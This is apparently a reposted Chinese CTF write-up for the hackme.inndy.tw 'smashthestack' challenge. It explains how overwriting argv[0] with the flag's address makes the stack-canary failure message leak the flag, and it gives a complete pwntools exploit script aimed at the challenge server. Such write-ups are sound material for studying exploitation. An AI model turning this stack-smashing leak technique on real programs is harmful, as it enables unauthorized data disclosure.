smashthestack的wp
来源:互联网 发布:重新加载数据会丢吗 编辑:程序博客网 时间:2024/05/16 12:11
https://hackme.inndy.tw/scoreboard/ 题目很有趣,我做了smashthestack这个题目感觉还不错,我把wp分享出来,方便大家学习
smashthestack的要求是:
nc hackme.inndy.tw 7717Tips: stderr is available, beware of the output
这个题目提示利用错误输出
下面我用ida打开smashthestack这个程序看main函数
可以看到这个程序很简单,你输入一些东西如果不会造成缓冲区溢出的话就会把栈中的数据打印出来
先运行一下程序看一下这个程序干了啥
再看看程序开启了哪些保护:
看到NX enabled是开启了栈不可执行,而且这个程序还有canary保护,但是明显的是flag已经被读入了内存,在网上找到了dragonsector写的一个pdf:http://j00ru.vexillium.org/blog/24_03_15/dragons_ctf.pdf,知道了当__stack_check_fail时,会打印出正在运行中程序的名称,所以,我们只要将__libc_argv[0]覆盖为flag的地址就能将flag打印出来
首先找flag的地址,在程序的读完文件的地方下断点0x08048434
执行完read指令之后在ecx中发现flag的地址为:0x804a060
知道这样的地址之后,就可以写exp了
#!/usr/bin/env python# -*- coding: utf-8 -*-__Auther__ = 'niexinming'from pwn import *context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')def debug(addr = '0x80484a5'): raw_input('debug:') gdb.attach(io, "b *" + addr)#fd:0x804a060#io = process('/home/h11p/hackme/smash-the-stack')io = remote('hackme.inndy.tw', 7717)#payload = p32(0x804a060)+p32(0x120)payload=p32(0x1)+"a"*184+p32(0x804a060)#debug()io.recvuntil('Try to read the flag\n')io.send(payload)io.recvall()#io.interactive()io.close()
效果是:
阅读全文
0 0
- smashthestack的wp
- logic.smashthestack.org_level01
- WP的好书
- wp的progressDialog
- wp 遇到的错误
- wp 的MD5代码
- 移植WP的总结
- sp&wp 的三板斧
- WP的后台代理
- sp&wp 的三板斧
- sp&wp 的三板斧
- onepunch的wp
- raas的wp
- ping的wp
- leave_msg的wp
- stack的wp
- very_overflow的wp
- 湖湘杯pwn400的wp
- “逐渐失效”的摩尔定律
- Unity 背景音乐 跨场景播放
- ViewPager实现画廊
- C++——临时对象
- 用Hive分析函数lead计算用户页面的停留时长
- smashthestack的wp
- a到b之间的整数求和
- LINK : fatal error LNK1104: 无法打开文件“opencv_calib3d249d.lib”问题解决
- 万树IT:Net程序员该怎样成为大牛?
- Unity格子类三消游戏【物体下落】小细节(Unity萌新的备忘录)
- [Tensorflow][Train]Tensorflow 使用Detect API 训练自己的data(local)
- Mac 10.13 安装中文版 man 命令
- ssm项目中Dao,Service抽取
- 指定特定位置的圆点的显示